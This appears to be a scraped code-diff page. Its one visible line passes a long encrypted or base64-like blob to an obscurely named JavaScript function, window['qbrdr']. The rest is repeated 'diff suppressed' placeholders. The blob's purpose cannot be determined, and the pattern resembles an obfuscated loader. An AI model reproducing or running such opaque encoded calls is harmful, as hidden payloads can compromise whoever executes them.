window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl")
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More